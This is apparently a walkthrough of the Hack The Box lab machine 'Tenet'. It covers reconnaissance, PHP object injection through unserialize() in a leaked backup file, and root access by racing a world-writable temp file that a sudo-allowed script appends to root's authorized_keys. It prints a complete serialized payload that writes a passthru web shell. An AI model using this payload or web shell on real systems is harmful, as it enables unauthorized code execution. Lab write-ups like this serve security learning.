TENET
SUMMARY
A superuser can ssh into the box via private key. The related public key can be set up automatically using a script. The public key file that the script relies on is world writable, and the script itself can be run by user neil with the aid of sudo.
Neil uses the same credential for logging into the box and configuring WordPress.
Neil is a developer who single-handedly works on data migration. The migration tool he build, in its early progress, is vulnerable to PHP object injection, which allows a file of arbitrary content and name to be created on the web server. Upon publicly holding someone accountable for their mistake, Neil leaks the name of his tool and that a backup exists. Both the tool and its backup are for some reason hosted on the server, available to everyone.
REFERENCE
Serialization — PHP Internals Book
WALKTHROUGH
Skip to Deserialization of Untrusted Data (CWE-502)!
Skip to Time-of-check Time-of-use (TOCTOU) Race Condition (CWE-367)!
Surface check.
nmap -sV -sC tenet.htb -oA tcp_t1k -v; searchsploit --nmap tcp_t1k.xml -v
Per nmap, ssh is open on port 22 and http is open on port 80. The automation feature that searchsploit offers so far provides meh result: it somehow does not search version numbers despite them being literally the whole point here. Manual search: nothing interesting.
tenet.htb: appears to be a WordPress blog. wpscan
and gobuster
: nothing interesting.
Screenshot of the blog.
[We’ll encounter this “a bit more substantial” something soon.]
[Poor Neil.]
[Can we just appreciate “this is where our worlds collide” being quite some way of saying “ye wanna test this thing that we build?” here?]
Keywords collected: rotas
, sator
, protagonist
, neil
, etc.
The comment by Neil reveals that he used to be able to access “the sator php file and the backup” by some means but not any more. These two files can be hosted on this very server, with name say, sator.php
and sator.php.bak
. [Worldlists, experiences, imaginations, I have none.]
Both files can be accessed under rotas.tenet.htb
.
Content of sator.php.bak
.
<?php
class DatabaseExport{
public $user_file = 'users.txt';
public $data = '';
public function update_db(){
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';}
public function __destruct(){
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';}}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
User input via arepo
parameter in url is fed into unserialize()
.
[Neil seems to use a string (‘Success’) as a placeholder for a text file (‘Grabbing users from text file’); meanwhile a text file (‘users.txt’) as a placeholder for a database (‘Database updated’); and something resemble API call (arepo
, unserialize
)? Indeed “a bit more substantial”.]
According to Serialization — PHP Internals Book, the output of serialize()
:
“It has some kind of type specifier (like s or i), followed by a colon, followed by the actual data, followed by a semicolon.”
The basic types available are N for NULL, b for boolean, i for integer, f for floating-point, and s for string.
Things can be bundled up and refered to as a whole, so the compound types available are a for array, and O for object.
When things are bundled up, if the count number provided is half of the number of things in that bundle (determined by the number of semicolons), pairs of a key and a value are assumed.
Based on above, whatever payload is fed into unserialize()
, it at most can come out as:
A piece of data e.g. ‘Success’, ‘users.txt’.
A bundle of pieces of data e.g. [‘Success’, ‘users.txt’].
A bundle of pairs of data tied together i.e. key-value pairs or variables e.g. [‘user_file’=>’users.txt’, ‘data’=>’Success’]
No such thing as interactions between those data, ehh? No function definition. No function call.
Locate existing function call and see what can be achieved by changing the value of its input variable? Seems to be the only strategy here?
The only function call in sator.php
is $app -> update_db();
, and the unserialization output locates before even the creation of object $app
. [Ugh.]
So it turns out: those functions that you explicitly call for, are not the only functions that get run, in a high-level language like PHP. Afterall, memory prepping work is needed just so that those computations you want can be done. In assemblies, on the other hand, if the stack pointer is not changed, well, good luck.
That is to say, explicit function call might not be needed, to get some code execution on the target. In sator.php
, function __destruct()
will be run upon an object get destroyed. [“You are not useful any more now move your ass!”] [I somehow feel painful saying that.] Every object will be destroyed in the end as computation is done and they are no longer needed. [More pain.] Thus to run those code defined as __destruct()
, all we need to do is create a new object. [Ugh.] The creation of such object is indeed allowed, as the visibility of this __destruct()
is public
.
A file with arbituary content and name can be written on the server and called later on. Web shell. [I’ve learnt to not aim for reverse shell first, as so many recon can be done with simple commands, chances are a more legit shell can be obtained using the info gathered.]
Now recall the bullet points from Serialization — PHP Internals Book. user_file
is a string of 9 characters, tenet.php
is a string of 9 characters, data
is a string of 4 characters, <?php passthru($_GET("arepo"));?>
is a string of 33 characters, DatabaseExport
is a string of 14 characters, number count 2 to signify pairs, O for object:0:14:"DatabaseExport":2:{s:9:"user_file";s:9:"tenet.php";s:4:"data";s:33:"<?php passthru($_GET["arepo"]);?>";}
. URL encode and put in parameter arepo
and request rotas.tenet.htb
.
Then it’s pretty smooth: cred hunt, cred reuse, hats time (it is sudo -l
that worked).
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
-rwxr-xr-x 1 root root 1080 Dec 8 2020 /usr/local/bin/enableSSH.sh
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPPLs7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlUypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6NyqdzG5Nkn9LGZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNNw0p+Urjbl root@ubuntu"
addKey
checkAdded
Appears to configure ssh key for user root, root is indeed a superuser and /etc/ssh/ssh_config
all clear. Worth inspecting.
Between touch file and cat file into authorized_keys, the content of such file can be overwritten (umask 110
, world writable) with a public key whose related private key we have. [In hindsight, this vulnerability is not a TOCTOU, as it lacks TOC. Function checkFile
only check the existence of the file instead of its content integrity i.e. is the key still the same. Also, checking existence here seems unnecessary: file removal and recreation is not needed to swap its content since file is world writable; even if file removal is needed, no user except the owner which is root can carry out the removal; if root is already obtained, why race this file? Seems to be for bluffing.] Succeed with brute force, flooding the tmp directory with maybe thousands of key files. [Exhaustion from deriving PHP object injection.]
That’s it for the box.